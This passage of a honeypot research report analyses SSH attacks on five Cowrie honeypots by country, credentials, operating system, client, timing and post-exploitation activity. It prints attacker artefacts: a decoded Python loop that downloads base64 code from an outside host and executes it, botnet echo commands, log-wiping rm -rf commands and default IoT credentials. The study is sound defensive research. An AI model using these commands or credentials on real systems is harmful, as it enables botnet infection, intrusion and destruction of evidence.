Figure 27. Singapore–most common username and passwords. 
 Figure 26 also shows that the most common username was root. This is symmetrical 
with the global analysis conducted earlier. In analyzing the distinct and most common 
username/password pairs, we can see in Figure 28 that Singapore does not deviate much from 
the global analysis. However, the username password pair (root, xc3511) is oddly specific and 
definitely non-standard. This combination is unique to the Singapore honeypot and suggests 
that attackers are attempting to attack a system that is more prevalent in Singapore.  
 
Figure 28. Singapore–most common username/password pairs. 
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 An article by Brian Krebs published in October of 2016 details that “the username root 
and password xc3511 is in a broad array of white-labeled DVR and IP camera electronic boards 
made by a Chinese company called XiongMai Technologies” (Krebs, 2016, p. 1). This is an 
indicator that a large portion of the attacks are attempting to exploit internet of things (IoT) 
devices and at a heavier rater in Singapore than any other of our observations across all 
honeypots.  
Operating systems analysis. When analyzing the global dataset (all aggregated 
honeypot data) we saw that Linux 3.11+ prevailed as the top attacking platform in a majority of 
circumstances. However, Singapore is extraordinary in that a vast majority of all attacks on the 
Singapore Honeypot came from a Windows 7 or 8 host. Windows 7 or 8 operating systems 
attacked the Singapore honeypot a total of 87,058 times as shown in figure 29. In comparison, 
Linux 3.11+ only attacked the Singapore honeypot a total of 56,492 times. This is yet another 
unique indicator that Singapore’s attack surface is most certainly different than its 




Figure 29. Singapore–top operating systems. 
 It is worth noting that attacking systems and software readily available to Windows 
based systems are relatively small when compared to Linux based system. The caveat being 
commercial hacking and attacking platforms. Linux thrives on the open source nature of its 
existence whereas Windows takes a closed source approach. As such, software developed for 
Windows is more commercial based and several of the attacking platforms developed 
specifically for Windows are licensed. Products such as CORE Impact are large attacking 
platforms developed for Windows hosts. Licenses are in the thousands of dollars per year.  
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 With simple deduction, it is understood that an average hacking group is not going to 
have the ability to acquire these tools in mass. However, state actors will utilize these tools to a 
much larger extent. We’re not stating that the overwhelming majority of attacks on Singapore 
were conducted by state actors, rather, we are asserting that a large Windows attack presence 
needs to be analyzed with a fine-tooth comb as these are indicators of advanced persistent 
threats (APT).  
SSH client analysis. Along with operating systems, SSH clients are another key variable 
when analyzing system risk and can be used in conjunction with other valid data sets to create a 
much more significant picture of a systems attack surface.  
 In analyzing Singapore’s top clients that attempted to gain entry into the system, we 
anticipated that it would be unique in that the Windows operating systems was the primary 
attack platform. Essentially, we know that the Window 7 or 8 host is not going to be running an 
SSH client that is built for a Linux based system, such as OpenSSH. It is worth noting, however, 
that OpenSSH does have a native Beta version for Windows 10.  
 The top attacking client, that is the client that attempted to connect on the most 
occasions, was SSH-2.0-Granados-1.0 as detailed in Figure 30. Upon further research, we find 
that this client is specific to .NET development. Specifically, it is an open source product written 
in C# that implements SSH on a .NET based system (i.e., Windows Operating Systems). This is 
not a very big surprise considering the operating system analysis however, it is yet another key 




Figure 30. Singapore–top clients. 
 The second most popular client is SSH-2.0-libssh2_1.4.3. This is another API developed 
as a client-side C library. This can once again be developed and used on Windows hosts as well 
as a Linux host. 
 Post-analysis of the Singapore clients seems to suggest several different things. Firstly, 
the top attack clients are API’s meaning that a majority of use cases for the attackers is 
automating the attack itself. This is not surprising, in fact it would be more surprising if the 
attacker was manually attempting to brute force and use a dictionary attack against a host. 
Secondly, the affirmation that Windows is being the primary attacking platform is once again 
confirmed as the top attacking client is a C# .NET based API.  
Date and time analysis. Date and time analysis breaks down the trends that have been 
observed over the honeypots lifetime. Significant events will also be included. We define the 
significant events as any anomalous behavior observed in the total timeline for the honeypot. 
On average, Singapore received 3,083 attacks per day.    
 Singapore began collecting data on November 10, 2017 and continued with 100% 
uptime until it was shut down on February 3, 2018. Over this timespan several anomalies were 
detected and categorized. We will break down these anomalies into further detail in order to 
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provide some context as to what could have possibly been the cause of such a large peak of 
traffic. When we are discussing anomalistic behavior, we are largely talking about the amount 
of traffic that was being logged at any given point in time. In the context of this paper, we are 
talking about attacking traffic logged via the Cowrie honeypot.  
 The first anomaly started on November28, 2017 and ended on November 30, 2017. 
Prior to November 17th our most significant, or highest attack, day contained a total of 2,342 
attacks. In a matter of 12 hours we had an initial spike of 11,946 attacks per day and 24 hours 
later a subsequent spike to 15,207 attacks per day. That is an overall increase of 146% in less 
than 36 hours. Upon further investigation, we found Vietnam conduced over 88% of all the 
attacks for those 3 days for a total of 32,879 attacks.  
 The second observed anomaly started on December 3, 2017 and ended on December 5, 
2017. The record for attacks in one day for December was 2,179. December 4th saw a rise of 
125% for a total of 9,484 attacks in one day. This anomaly did not last as long as the first as it 
tapered off and the total attacks per day were 3,580 starting on December 5th. Similar to the 
first anomaly, Vietnam conducted over 87% of all attacks during this time period.  
 Figure 31 displays the total attack traffic from the honeypot inception to being shut 
down on February 3, 2018 and details some severe attack behavior during the end of 
November 2018. You can view both anomalies as the top in broken into four sections that 




Figure 31. Singapore–total attacks by month and day. 
 Singapore has a common trend in that attacks mostly occur during normal business 
hours. That is, Monday through Friday and 8:00am to 6:00pm. The time in all graphics will be 
displayed in 24-hour context as to easily differentiate day from night. The time zones have also 
been amended from UTC to local time.  
 Attacks subject to weekday were analyzed to view if weekday plays a role in overall 
attack surface as seen in Figure 32. Attack totals start to increase as the weekdays continue and 
the overall attacks start to taper during the weekends. Interestingly, this seems to suggest that 
the top attackers, primarily Vietnam in our current context, are working a standard schedule 
that aligns with the local times of Singapore. Vietnam and Singapore have only a slight time 
difference of one hour from each other. This suggests that when Vietnam is in fact attacking 
67 
 
Singapore, they are doing so in an organized fashion. Most likely because it’s within a 
functioning hacker organization which, is not very uncommon.  
 
 
The key takeaway being that Singapore has a higher risk potential during the work 
weekand at times that correlate with a standard work schedule. Figure 33 gives a graphical 
representation of the attack times on a 24-hour schedule. 
 





Post-exploitation analysis. As discussed in the methodology portion of this paper, 
Cowrie is a medium interaction honeypot. This means that if the presented with the right 
number of circumstances and the correct username and password pairs, we will allow an 
attacker to log into our system. It is not the true system, rather it is a Python based 
implementation of a shell that allows the attacker to think they have successfully exploited the 
machine and now have a terminal to work from.  
 The primary data observed after during a post-exploitation analysis is the command 
strings that are being run and the scripts/malware that is being downloaded. We will not 
analyze the malware in this paper however, we will look at several command strings and 
correlate them with common or unique attributes.  
 Singapore saw a significant amount of post-exploitation command strings. Many 
different scripts and binaries were downloaded either via CURL or WGET. Most post-
Figure 33. Singapore–attacks by hour. 
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exploitation attacks were messy and were focused on one of two different goals. Firstly, to take 
over the system and create another bot. We saw a significant amount of Mirai botnet malware 
and command and control server scripts intended to automate the infection process. Secondly, 
purely malicious intent where commands were strictly used to destroy critical system binaries, 
files, and logs. The attacks ranged from inexperienced to a more advanced attack.  
 One of the more advanced attack methods that was not seen frequently was utilized on 
system python modules urllib and base64. Figure 34 is an example exploit base64 encoded 
string that takes advantage of the system python modules resident in most Linux OS base install 
packages.  





MKICAgIHRpbWUuc2xlZXAoMzAwKQ=='))" > /dev/null 2 >& 1 & 
 
Figure 34. Singapore–malicious python command string. 
 When we investigate further and decode the base64 encoded string we see that it is 
actually a small python program. Figure 35 displays the decoded base 64 string shown in   











    try: 
        page=base64.b64decode(urllib.urlopen("http://k.zsw8.cc/Api/")
.read()) 
        exec(page) 
    except: 
        pass 
    time.sleep(300) 
 
Figure 35. Singapore–malicious python decoded Base64 program. 
 This program attempts to read a web page and execute the contents from the page 
itself. In order to truly evaluate what the intent of the exploit is, we need to get our hands on 
the actual content from the attacker’s web server. We can do this safely from a sandboxed 
virtual machine. Using WGET to grab the contents of the web page (‘index.html’) we can see it 
is a large quantity of base64 encoded data. When we decode it, it is a Linux botnet python 
program intended to infect and maintain persistence to the exploited host. The final python 
botnet program can be viewed in Appendix B.  
Bangalore. 
Attacker analysis. Bangalore received the second highest number of attacks overall 
reaching a total of 130,538 attacks over the 3-month data aggregation period. Bangalore made 
up 20% of the total attacks across all five honeypots.  
 Over the 3 months the anomalistic behavior that was observed was minimal in 
comparison to what the Singapore honeypot received. Bangalore saw small attack escalations 
at the end of November, 2017 and mid-December, 2017.  
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Bangalore received 19% of all attacks from France totaling 24,556 attacks, 14% from 
China with a sum of 18,082 attacks, and 11% from the United States with a total of 14,377 
attacks. Figure 36 displays a representative heat map in which the higher the attack counts, the 
darker the shade of red becomes. This is a telling figure as we can attribute a vast majority of all 
attacks to one nation however, a total of 132 separate nations attacked Bangalore throughout 
the entirety of this study.  
 
Figure 36. Bangalore–top attacking countries. 
 A breakdown of the top seven attacking nations in regard to the overall attacks on 
Bangalore as seen in Table 7. The stark contrast of what was originally hypothesized, that the 
U.S., China, and the Russian Federation would be the largest attacking nations, is deflated as 
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the study continued. This further suggests that geographic location plays a significant role in 
determining the overall attack risk.   
Table 7 
Bangalore–Top 7 Attackers by Country 
Server Name Attacker Country   
Bangalore France 24556 
China 18082 
United States 14377 
Vietnam 11140 
Canada 10012 
Russian Federation 6183 
United Kingdom 5472 
  
Credentials analysis. When analyzing the different usernames and passwords that were 
used in many of the attacks, it was no surprise that the Bangalore data was very similar to that 
of the global dataset (all honeypots).  
 The top username used a total of 26,106 times was root to which the second most 
popular username was admin trailing at a total of 4,149 attempts. Root is used as the top 
priority username as that is a default account that is resident on a majority of Linux based 
systems. It also is a super user account that if exploited, gives the attacker significant control 
over the system.  
 The most common password was the exclamation point (!) with a total of 4,968 
attempts. The second most common password being 123456 with a total of 3,221 attempts. A 
graphical representation of the different usernames (left) and passwords (right) that were used 
can be seen in Figure 37. The larger the circle, the more attempts that particular username and 




Figure 37. Bangalore–top usernames and passwords. 
 One of the different aspects analyzed was not only the singular username and 
passwords but the unique and most common pairs. In regards to Bangalore, the top username 
and password pairs align very similarly to that of the global dataset. There were no indicators 
that Bangalore received a subset of usernames and passwords that were unique due to its 
geographic location. Root,null was by far the most common username/password pair utilized as 
seen in Figure 38.  
 




Operating systems analysis. Analyzing the top attacking operating systems has 
presented its share of surprises and, of course, some of the objective knowns. Bangalore 
received a majority of attacks from Linux based systems, unlike that of Singapore. Linux 3.11 
and newer was by far the most common totaling 64,723 total attacks. Interestingly, Windows 7-
8 is in second place with a total of 11,670 attacks as seen in Figure 39.  
  
Figure 39. Bangalore–top attacker operating systems. 
SSH client analysis. Along with operating systems, SSH clients give a noteworthy amount 
of information into the attack structure. For example, we can start to fingerprint bot activity 
compared to non-bot by identifying common SSH API’s that are being used to automate the 
large portion of attacks.  
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 When analyzing Bangalore, we see a similar trend in that the top SSH clients used align 
well with the top attacking operating systems. In Bangalores case, the top client was SSH-2.0-
libssh2_1.4.3 with a total of 51,914 connect attempts. Libssh is a client-side C library that 
enables the automation of SSH tasks via pre-built methods and functions. This library is both on 
Windows and Linux systems and as such is a dynamic and robust method into creating cross 
platform SSH attacking binaries. The top SSH clients used to attack and connect with the 
Bangalore honeypot is represented by Figure 40.  
 
Figure 40. Bangalore–top SSH clients. 
 The second most popular was SSH-2.0-OpenSSH_7.3 with a total 12,791 attacks. 
OpenSSH is a default SSH software installed on many different Linux distributions. OpenSSH can 
be scripted using BASH and other API’s however, not to the extent in which several of the base 
API’s can be. This suggests that a large portion of the attacks and connections to the honeypot 
were made by actual persons.  
Date and time analysis. Bangalores attacks stayed consistent throughout the entirety of 
the study with small peaks in overall attacks in late November, 2017 and mid-December, 2017. 
Bangalore received, on average, 1,517 attacks per day with a peak of 4,800 attacks on 
December 15, 2017 and a low of 489 attacks on January 2, 2018. Figure 41 shows the total 
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number of attacks subject to month (displayed at the top) and by day (displayed on the 
bottom). Many of the honeypots have a similar trend line in which the anomalistic behavior is 
minimal.  
 
Figure 41. Bangalore–attacks by month and day. 
 As previously discussed, most weekday trends seem to have a peak of attacks during the 
work week and a slow down during the weekend suggesting that these attacks are principally 
conduced on a regular work schedule. However, Bangalore saw substantial increases in attacks 
during the weekends compared to the weekdays as seen in Figure 42. Figure 42 details these 
differences by providing a Sunday through Saturday breakdown and the total amount of attacks 




Figure 42. Bangalore–attack totals subject to weekday. 
 We also derived the highest attacks subject to hour of the day in order ascertain if there 
were peak times in which a server in Bangalore is more or less at risk. Bangalore saw its 
principal attack peaks starting at 6:00am in the morning and gradually climbing until 10:00am 
where the total attacks would plateau as seen in Figure 43 where the average number of 




Figure 43. Bangalore–attack 24 hour averages. 
Post-exploitation analysis. The most common attack string noted after a successful 
login was uname -a which, is a Linux command that the displays the systems name, version, 
kernel version, and other relevant details pertaining to the system architecture. This command 
was run a total of 7,063 times.  
 Similarly, to Singapore, a large portion of the activity was subjugated towards botnet 
infections. Specifically, Mirai botnet and other similar Mirai builds. However, a unique botnet 
seems to be making its name within all of the honeypots that were used during the duration of 
this research. The name is not formally defined but a substantial amount of traffic has been 
generated within ‘gweerwe323f’ botnet infection attempts. At this time, it is still considered 
unclassified malware but, the security researchers are very well aware of it. Common indicators 
of this botnet are echo commands follow by shell code. Many different and unique command 
strings were observed and found, as seen in Table 8, to be directly associated to this newer 




Bangalore–Unclassified Botnet Command Strings 
Server Name Commands 
Bangalore echo -e '\x47\x72\x6f\x70/dev' > /dev/.nippon 
echo -e '\x47\x72\x6f\x70/dev/pts' > /dev/pts/.nippon 
echo -e '\x47\x72\x6f\x70/dev/shm' > /dev/shm/.nippon 
echo -e '\x47\x72\x6f\x70/lib/init/rw' > /lib/init/rw/.nippon 
echo -e '\x47\x72\x6f\x70/proc' > /proc/.nippon 
echo -e '\x47\x72\x6f\x70/sys' > /sys/.nippon 
echo -e '\x47\x72\x6f\x70/tmp' > /tmp/.nippon 
echo -e '\x47\x72\x6f\x70/var/tmp' > /var/tmp/.nippon 
  
Overall, Bangalore has minimal unique attributes that deviated from the global dataset 
considering many of the parameters and data points gathered aligned with common and known 
values. However, even acutely unique attributes can be further investigated to provide a more 
systematic defense.   
Frankfurt. 
Attacker analysis. Frankfurt made up over 18% of the total attacks during the 3-month 
data aggregation period. A total of 121,633 attacks were logged and categorized. As with all 
honeypots, a variation of peak attacks was present. However, Frankfurt did not experience 
large anomalistic behavior rather, it saw an initial peak of interest during its first few days of 
uptime.  
 Similarly, to Singapore, Frankfurt received the most attacks from Vietnam whom made 
up over 22% of all attacks with 27,226 attacks total. France was the second largest contributor 
to the overall attacks against Frankfurt with a total of 13,853 attacks. A listing of the top 
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attacking countries and the total number of attacks that were observed where Vietnam was the 
top overall attacker as seen in Table 9.   
Table 9 
Frankfurt–Top Attacking Countries 
 
Server Name Attacker Country   
Frankfurt Vietnam 27226 
France 13853 
United States 12915 
Czech Republic 11229 







Frankfurt was attacked by a few unique nation states that were not on a majority of the 
honeypots top attacker lists. Nations such as the Czech Republic and Ireland made up a total of 
18,384 attacks which, is very much unique to Frankfurt. Figure 44 provides a heat map view of 
all the attacking countries in regards to the Frankfurt honeypot. The darker the color, the more 




Figure 44. Frankfurt–top attacking countries heat map. 
Credentials analysis. The top username used over the 3-month period was root totaling 
a substantial 33,461 attempts. In comparison, the second most common used username was 
admin with a total 1,705 total login attempts. This is not surprising as root is by far the most 
common username passed regardless of honeypot location.  
 The top observed password was 12345 making it a bit unique compared to the other 
honeypots. Whereas the exclamation mark (!) has been within all the honeypots top 5, 
Frankfurt has it in 6th place. A representative graphic, Figure 45, displays the top usernames 
(left) and the top passwords (right) in a format to which the larger the circle, the more overall 





Figure 45. Frankfurt–top username and passwords. 
 Our analysis also analyzes unique username and password pairs that were used in order 
to discern if there is a unique trend of combinations that correlate with the honeypot location. 
Frankfurt did not present any unique combinations as they aligned very symmetrically with the 
global dataset, as displayed by Figure 46.  
 
 
Figure 46. Frankfurt–top username and password combinations. 
Operating systems analysis. Frankfurt was attacked a total of 40,517 times from Linux 
3.11 and newer operating systems. Windows 7 or 8 was second in overall attacks with a total of 
19,911 total attacks. The usage of Linux based operating systems is common and originally 
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hypothesized that it would be the largest contributor to overall attacks. All of the attacking 
operating systems subject to total attacks conducted can be seen in Figure 47. 
 
Figure 47. Frankfurt–top attacking operating systems. 
SSH client analysis. The top SSH client observed attacking the Frankfurt honeypot was 
SSH-2.0-libssh2_1.4.3 which, has been seen in all honeypot attack records. Libssh2 was credited 
with 37,034 total connection attempts. This suggests a scripted attacking structure as libssh2 is 
a C based SSH library. Interestingly, Granados-1.0, a Windows based .NET (C#) SSH API was used 
a total of 26,105 times. A breakdown of each observed SSH client and its subsequent 




Figure 48. Frankfurt–top attacking clients. 
Date and time analysis. Frankfurt’s highest attack date was on November 12, 2017 with 
a total of 4,891 attacks. November 12th was two days after the honeypot was built. The lowest 
attack date was on November 21, 2017 with a total of 697 attacks. The average attacks per day 
was 1,414.   
 Frankfurt did have one attack anomaly just two days after the host was initialized. 
Figure 49 displays the overall attacks from a month and day aspect where the months are listed 
on the top and the days listed on the bottom. A noticeable spike in overall attacks was 
immediately observed after the host went online. Unlike several of the honeypots, discovery of 
this hosts IP was rapid and spread faster than usual. Traffic to this host was almost immediate 
suggesting either this host was assigned a previously known IPv4 address or, the publishing of 
its DNS record spread much faster than expected. As such, attacks spiked and then tapered 




Figure 49. Frankfurt–attacks by month and day. 
 When we analyze the attack data from November 10, 2017 to November 11, 2017, we 
see that the Czech Republic was responsible for over 50% of the total attacks (10,879 total 
attacks) that occurred during this date range. A breakdown of the top attackers during this date 





Frankfurt–Anomalous Attacks Subject to Attacking Country 
   November Grand 
Total Server Name Attacker Country 10 11 12 13 14 15 16 
Frankfurt Czech Republic 237 1638 2906 3033 1957 1004 104 10879 
Vietnam 230 156 550 923 862 577 862 4160 
Russian Federation 19 686 30 37 33 980 40 1825 
China 90 198 115 93 74 165 270 1005 
United States 47 81 118 225 163 144 122 900 
Korea, Republic of 17 14 489 16 10 10 12 568 
Netherlands 2 1 227 16 21 35 73 375 
France 148 21 26 32 48 43 25 343 
 
 Frankfurt receives a majority of its total attacks during the workweek. The attack totals 
are structured in that Monday the attacks start to increase with a peak on Wednesday and a 
gradual decline heading into the weekend as seen in Figure 50. This suggests that Frankfurt is in 
fact being attacked on a very coordinated schedule that resembles that of a standard working 




Figure 50. Frankfurt–attacks by workday. 
 In analyzing the attacks subject to a twenty-four-hour period, we found that at 6:00am 
local Frankfurt time, we start to see a gradual rise on overall attacks with a decline during the 
lunch hours (11:00am-1:00pm). Attacks rise slightly during the end of the working day and start 
to taper off at 5:00pm.  As stated in the weekday analysis, this strongly suggests that Frankfurt 
is susceptible to a much larger attack surface during the standard working hours. Observed 




Figure 51. Frankfurt–attack 24 hour averages. 
Post-exploitation analysis. We observed a total of 127 unique command strings after a 
successful exploitation of the Frankfurt host. The most common string being uname -a which, is 
by far the most common command string as the script and or individual attacker is attempting 
to enumerate the system by obtaining details on the operating system and its architecture.  
 Frankfurt has a small amount of overall botnet activity. Frankfurt saw several malicious 
binaries and scripts that were representative of a botnet pre-infection processes however, 
several of the commands were more malicious in nature with an intent to remove or destroy 
system files and processes. Much of these system files and processes that were being removed 
and purged from the system were those created by the attacker however, commands such as 







Attacker analysis. London received the fourth largest amount of overall attacks with a 
total of 84,450 attacks during the 3-month study. London saw two smaller anomalous attack 
peaks during the end of November 2017, and mid-January, 2018.  
 London’s top overall attacker was France with a total of 22,016 attacks making it over 
26% of all attacks observed on the London host. The United States was the second largest 
attacking nation totaling 9,701 attacks (11%) as seen in Table 11.  
Table 11 
London–Top Attacking Nations 
 
Server Name Attacker Country   
London France 22016 
United States 9701 
China 8805 
Vietnam 6921 
Russian Federation 4444 
Ireland 4437 
United Kingdom 3820 
Algeria 2661 
 
 A heat map of all the attacking nations observed throughout the entirety of the study 
where the darker the color is equal to a greater number of attacks as seen in Figure 52. Many of 
the attacking nations have been mentioned in other Honeypots however, France is only the top 




Figure 52. London–top attacker heat map. 
Credentials analysis. The top username used during brute force and dictionary attacks 
against London was root. This is a common and the most widely used username throughout the 
entirety of this study.  
 The top password used was similar to that of Singapore and Bangalore all of which had 
the exclamation mark (!) as the most common password used. Figure 53 displays both the top 




Figure 53. London–top username and passwords. 
 The most common username and password pair used on the London host was root,null 
in that the password was not provided and a login was attempted with no password being 
present. This is a common attack method as default configurations of some systems may have a 
root user with no password configured. This is, of course, an extremely dangerous practice that 
should not be applied to any current day systems. There pairs align very symmetrically with 
those of all other honeypots as seen in Figure 53. This suggests that Frankfurt’s location does 
not play a significant role in attack credentials.  
 




Operating systems analysis. Linux 3.11 was the most commonly used operating system 
used to attack the London host with 29,701 total attacks. The second most popular was 
Windows 7 or 8 machines with a total of 11,865 attacks as seen in Figure 55. This finding is 
symmetrical to that of most of our honeypots with the exception of Singapore.  
 
Figure 55. London–top attacking operating systems. 
SSH client analysis. The most commonly used SSH client used to attack the London host 
was SSH-2.0-libssh_1.4.3 with a total 27,782 attacks. This aligns with nearly all of the honeypots 
top attacking client. The second most popular client as OpenSSH 7.3 which suggests either a 
simple scripted attack and or a very manual attack effort.  
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 Most commonly, OpenSSH will be used after a successful post-exploitation with a 
scripted method. The username and password will be logged by the program/script and an 
attacker will review the successes and attempt to exploit the host further. A detailed 
breakdown each SSH client used to attack the London host and the overall attack counts is 
shown in Figure 56.  
 
Figure 56. London–top attacking SSH clients. 
Date and time analysis. London’s least most significant day, in regards to total attacks, 
was on November 19, 2017 with a total of 309 attacks. The most significant day was on   
January 15, 2018 with a total 3,832 attacks. The overall average for daily attacks was 982 
attacks per day.  
 London saw two anomalistic peaks during the 3-month data aggregation period. The 
first peak on November 23, 2017 where the daily average attacks leading up to the 23rd was 727 
attacks per day. On November 23rd the attacks per day spiked to 3,675. When we further 
analyze the date range of November 21st–November 25th we see there were a total of 9,397 
attacks. A total of 5,881 of all attacks originated from France with the highest peaked day being 
the 23rd of November with a total attack count of 2,933. Figure 57 displays the total attacks 
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observed subject to month and day where month is detailed on the top of the graphic and the 
day on the bottom. We can clearly see the two anomalistic incidents evident by the large 
spikes.  
 
Figure 57. London–total attacks by month and day. 
 In analyzing the more granular specifics of the first anomalous incident, we start to get a 
clearer picture of the attacker. For example, when we reanalyze the attack variables such as 
operating systems, we see a complete shift from the honeypot baseline as show in Figure 58. 
The top operating system becomes a Windows 7 or 8 host deviating from the baseline of a 




Figure 58. London–anomaly 1 top operating system. 
 In a similar symmetric shift, the top attacking client shifts from libssh2 to SSH-2.0-
Granados-1.0 which, as we discussed earlier, is a .NET C# based SSH implementation. A total of 
5,028 attacks were logged using the Granados library. This aligns well with our previous finding 
that Windows was the highest attacking host during the first anomalistic event.  
 We also observed a shift from the standard username and password pairs. Many of the 
used pairs included a hexadecimal byte string or shell code string for the password portion of 
the attack. Table 12 details many of these unique username and password pairs observed 





London–Anomaly 1 Username and Password Pair Deviation 
 
    November 
TOTALS Server Name Username & Password (Combined) 21 22 23 24 25 
London root, ! 67 62 60 77 107 373 
support, support 12 33 41 33 32 151 
root,  15 28 37 27 13 120 
admin, \x00\x00\x00\x00\x00   37 46 24   107 
user, 1234 10 20 30 21 22 103 
guest, guest 4 22 28 27 10 91 
user, user 2 24 32 18 3 79 
support, \x00\x00\x00\x00\x00\x00\x00   24 33 16   73 
ubnt, \x00\x00\x00\x00   23 32 16   71 
admin, admin 5 13 17 14 12 61 
test, 123456789   6 17 12 15 50 
admin, 1234 1 9 14 11 9 44 
admin, 12345 3 6 10 10 14 43 
admin, \x00\x00\x00\x00\x00\x00\x00\x00   13 13 9   35 
admin, \x00\x00\x00\x00   12 13 9   34 
 
 
 The second observed anomaly peaked on January 15, 2018 with a total of 3,832 attacks. 
The top attacking country during the time period of January 13, 2018 to January 18, 2018 was 
again, France with a total of 3,775 attacks making it responsible for over 36% of all attacks 
during this time period.  
 Unlike the first anomalistic incident, we did not observe a shift of the Operating system 
as Linux 3.11 continued to be the predominant attacking platform with a total of 3,746 attacks. 
The username and password pairs and the SSH attack client were consistent with the total 
London dataset.  
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 London experienced a majority of the attacks during the working week, similar to most 
of our honeypots. Starting with Monday, the total daily attacks would rise and peak during 
Thursday with a large taper downward during the weekend as shown in Figure 59.  
 




 As previously stated, London has a higher risk of being attacked during the work week 
and between the hours of 12:00pm local and 7:00pm local as shown by Figure 60. The attacks 
gradually increasing starting at 6:00am and peak around 7:00pm.  
 
Figure 60. London–attacks by hour. 
Post-exploitation analysis. London experience a very symmetrical command array to 
other honeypots. Much of the command strings and samples aggregated were efforts to 
enumerate the system hardware and architecture. Other common strings were attempts to 
remove any log information in order to hide any of the malicious and compromising activity 
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conducted on the host. Table 13 provides an example of command strings in which the attacker 
was attempting to cover their activities. This is by no means unique to the London honeypot.  
Table 13 
London–Attacker Command Strings 
 
Server Name Commands 
London history -r 
rm -rf /root/.bash_history 
rm -rf /var/log/lastlog 
rm -rf /var/log/maillog 
rm -rf /var/log/messages 
rm -rf /var/log/secure 
rm -rf /var/log/wtmp 
rm -rf /var/log/xferlog 









 During the first anomalistic event in November, we did observe a more sophisticated 
attack structure. Similar to the python command strings noted within the Singapore honeypot 
analysis, we found base64 encoded python modules that also employed common encoding 
mechanisms such as ROT13 in order to mask much of the software’s true activity. This leads us 
to believe that the anomalous attack during November was conducted by a much more 






Attacker analysis. San Francisco saw the lowest amount of overall attacks during the 3 
months of data aggregation with a total of 58,811 attacks. Of these attacks, China was 
responsible for 11,711 (20%), France was responsible for 11,445 attacks (19%) and the United 
States was responsible for 8,784 attacks (15%).  
 The San Francisco honeypot was attacked by 125 unique nations. A heatmap of all 
attacking nations where the darker the color, the higher the attacks that nation produced and 
the lower the color the less is detailed in Figure 61.  
  
Figure 61. San Francisco–top attackers heat map. 
Credentials analysis. The most common password was root with a total of 11,450 login 
attempts during the 3-month data aggregation period. The most common password was 
123456 with a total of 2,528 login attempts. A graphical representation of the number of times 
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a username and or password was used subject to the size of the circle is shown in Figure 62. 
The larger the circle, the more times that credential was attempted. 
 
Figure 62. San Francisco–top usernames and passwords. 
 San Francisco did present a more unique username and password combination pair 
compared to other honeypots. The top 3 most common username and password pairs were: 
1. Root, password 
2. Test, test 
3. Admin, password 
A breakdown of the most common username and password pairs that were observed on 





Figure 63. San Francisco–top username and password pairs. 
Operating systems analysis. The most common attacking operating system was Linux 
3.11 with a total of 29,090 attacks and the second most common attacking platform was 
Windows 7 or 8 with a total of 20,452 attacks. This finding is symmetrical to a majority of the 
honeypots observed top attacking operating systems and does not seem to be a very high 
qualifying candidate as a unique indicator for an attack. However, the exception being that 
during high anomalous attack activity that operating system often changes. 
 The top operating systems by type from highest attacking operating system to the 




Figure 64. San Francisco–top attacking operating system. 
SSH client analysis. San Francisco contained a few unique SSH client implementations 
that many of the other honeypots did not. However, the most common SSH client was still the 
most common overall SSH client, SSH-2.0-libssh2_1.4.3.  
 The second most common is SSH-2.0-PUTTY as seen in Figure 65. Putty is a Windows 
SSH Graphical User Interface (GUI). Putty can be scripted in a batch or PowerShell script 
however, it is not the most efficient method of SSH automation. When we see several instances 
of Putty, we can accurately assume that a majority, if not all, of these sessions are manual 
attack sessions. That is, a person is manually typing the IP address of the Linux (honeypot) host 




Figure 65. San Francisco–top attacking clients. 
Date and time analysis. San Francisco’s overall attack average remained consistent over 
the duration of the study. There is a total of two anomalistic events that can be seen in Figure 
66 which details the total attacks subject to month and day.  
 
Figure 66. San Francisco–total attacks by month and day. 
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 The first anomaly event was on December 30, 2017 that contained a total of 2,301 
attacks. Specifically narrowing our analysis from December 27, 2017 to December 31, 2017 
allows us to obtain a much more granular dataset into the attack structure.  
 The top attackers, considering this first anomaly, were the United Kingdom (UK) with a 
total of 2,162 attacks (55%), Vietnam with a total of 509 attacks (13%) and China with 487 
attacks (12%) as seen in Table 14. This deviates from the baseline of all attack data gathered.  
Table 14 
San Francisco–Anomaly 1 Top Attackers 
 
    2017 
Grand 
Total 
    December 
Server Name Attacker Country 27 28 29 30 31 
San Francisco United Kingdom 8 20 147 1987   2162 
Vietnam 1 4 2 3 499 509 
China 110 69 102 118 88 487 
Russian Federation 34 39 40 36 46 195 
United States 28 52 63 28 13 184 
France 13 7 44 51 9 124 
 
 During this anomaly, the top attacking operating system stayed aligned with the San 
Francisco baseline (Linux 3.11). We observed an increase of attacks from the libssh2-1.4.3     






San Francisco–Anomaly 1 Top Attack Clients 
 
    2017 
Grand 
Total 
    December 
Server Name Client 27 28 29 30 31 
San Francisco SSH-2.0-libssh2_1.4.3 18 84 237 2074 8 2421 
SSH-2.0-Granados-1.0         494 494 
SSH-2.0-PUTTY 93 54 82 81 68 378 
SSH-2.0-OpenSSH_7.3 34 39 41 35 48 197 
SSH-2.0-sshlib-0.1 15 17 20 20 16 88 
SSH-2.0-libssh2_1.7.0 12 9 2 11 20 54 
SSH-2.0-sshlib-0.2 4 6 12 7 7 36 
 
 The second anomaly was on January 24, 2018 with a total of 1,971 attacks. When 
analyzing based on the date range of January 22, 2018 to January 27, 2018 we see a start 
difference from the baseline dataset. The United States was the top attacker with a total of 
2,261 overall attacks (35%) and China with a total of 1,340 attacks (20%) as seen in Table 16. 
Table 16 
San Francisco–Anomaly 2 Top Attacking Countries 
 
    2018 
Grand Total 
    January 
Server Name Attacker Country 22 23 24 25 26 27 
San Francisco United States 60 118 880 320 407 476 2261 
China 135 166 329 308 291 111 1340 
Canada   3 58 358 116 2 537 
France 7 22 46 126 98 197 496 
Italy 36 11 171 108 55 29 410 




 The top attacking operating system did not change from the San Francisco baseline 
(Linux 3.11). When we reanalyze the top attack SSH clients, we see a new version of LibSSH2 
(version 1.7.0) emerge as the second most dominant attacking client with a total of 643 attacks.  
 When we view the overall attacks subject to workday, we see that Saturday is that 
largest overall attack day for San Francisco. The workweek is variable and does have a common 
up and down trend similar to other honeypots in this study. We observed an attack increase 
start on Monday with a small taper of total attacks until Wednesday where we see a large 
spike. A gradual decrease of total attacks happens after Wednesday and spikes again on 
Saturday. This seems to suggest that unlike some of our honeypots, the weekends are a larger 




Figure 67. San Francisco–total attacks subject to weekday. 
 Reviewing the 24-hour attack schedule suggests that San Francisco is more vulnerable 
for attacks during the early hours of the morning. Figure 68 derives the overall attack structures 
of San Francisco subject to a 24-hour schedule. A sharp increase in overall attacks start around 
5:30am to 6:00am local time and slowly taper off until about 11:00am. We see a small increase 




Figure 68. San Francisco–attacks by hour. 
